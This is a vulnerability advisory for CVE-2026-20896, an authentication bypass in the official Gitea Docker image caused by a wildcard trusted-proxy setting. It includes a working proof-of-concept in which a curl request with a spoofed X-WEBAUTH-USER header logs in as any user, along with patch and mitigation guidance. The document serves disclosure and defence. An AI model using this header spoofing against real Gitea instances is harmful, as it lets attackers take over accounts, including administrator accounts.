critical · 9.8CVE-2026-20896Jul 21, 2026

CVE-2026-20896: Gitea Docker Image Authentication Bypass via Spoofed X-WEBAUTH-USER Header

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The official Gitea Docker image hard-codes a wildcard trusted-proxy setting that lets any client impersonate any Gitea user, including admins, with a single HTTP header and no password.

Packagecode.gitea.io/gitea
Ecosystemgo
Affected< 1.26.3
Fixed in1.26.3

The problem

The Gitea Docker image ships an app.ini template with REVERSE_PROXY_TRUSTED_PROXIES = * hardcoded at docker/root/etc/templates/app.ini:55 and docker/rootless/etc/templates/app.ini:52.

When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true, Gitea trusts the X-WEBAUTH-USER header to determine the authenticated user identity. Because the Docker template overrides the safe default (127.0.0.0/8,::1/128) with a wildcard, every source IP is considered a trusted proxy.

Any client that can reach port 3000 on the container can authenticate as any known username, with no password or token required.

Proof of concept

A working proof-of-concept for CVE-2026-20896 in code.gitea.io/gitea, with the exact payload below.

bash
# 1. Spin up a vulnerable instance
docker run -d --name g -p 3000:3000 \
  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
  -e GITEA__security__INSTALL_LOCK=true \
  gitea/gitea:1.26.2

sleep 15

# 2. Create a target user (simulates an existing account)
docker exec --user git g gitea admin user create \
  --username alice --password "longpasswordhere1234" \
  --email alice@x.test --must-change-password=false

# 3. Exploit: impersonate alice with one header, no password
curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
  | grep -oE '<title>[^<]+</title>'
# Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title>

# Replace "alice" with any existing username, including admin accounts.

Gitea's reverse-proxy auth middleware checks whether the request's source IP falls inside REVERSE_PROXY_TRUSTED_PROXIES before accepting the X-WEBAUTH-USER header. With * as the value, every IP passes that check, so the header is accepted unconditionally.

The patch (PR #38151, commit 99f8b3d) removes the REVERSE_PROXY_LIMIT and REVERSE_PROXY_TRUSTED_PROXIES lines entirely from both Docker app.ini templates. Dropping those lines causes Gitea to fall back to the documented safe default (127.0.0.0/8,::1/128), so only loopback connections can inject identity headers.

The root cause is CWE-284: the Docker image inadvertently granted every network peer the trust level reserved for the local reverse proxy.

The fix

Upgrade to gitea/gitea:1.26.4 (skip 1.26.3, which introduced a regression on repository code pages). If you cannot patch immediately, add the following to app.ini and restart:

[security] REVERSE_PROXY_TRUSTED_PROXIES = 127.0.0.0/8,::1/128

Also restrict Gitea's HTTP port at the network level so only the actual reverse proxy process can reach the container. Audit access logs for any requests containing X-WEBAUTH-USER originating from non-loopback IPs.

Reported by Joshua Martinelle (Tenable) and Ali Mustafa (@rz1027).

References: [1][2][3][4][5][6]

Related research